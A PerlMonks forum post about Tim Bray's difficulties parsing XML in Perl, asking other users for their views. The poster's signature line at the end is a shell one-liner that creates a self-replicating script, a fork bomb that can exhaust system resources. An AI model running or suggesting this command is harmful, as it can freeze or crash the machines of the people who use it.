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XML's author has A Perl Problemby ibanix (Hermit)
|on Mar 19, 2003 at 01:01 UTC||Need Help??|
Update: Whoops! I guess this has already been covered in is XML too hard?
I wasn't sure if I should put this in Perl News or Meditations. I think it fits here better.
Tim Bray, XML Co-author, has a discussion here about problems he has with XML, namely the challenges programmers face in parsing XML.
Tim notes that he has problems parsing XML in Perl,
You can read his Perl code, and the type of code he really wants to be able to write, here.
I've written a small program with XML::Simple, which does not begin to approach Tim's size. However, I thought the end result was elegant and flexible.
How does anyone else feel about this topic?
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;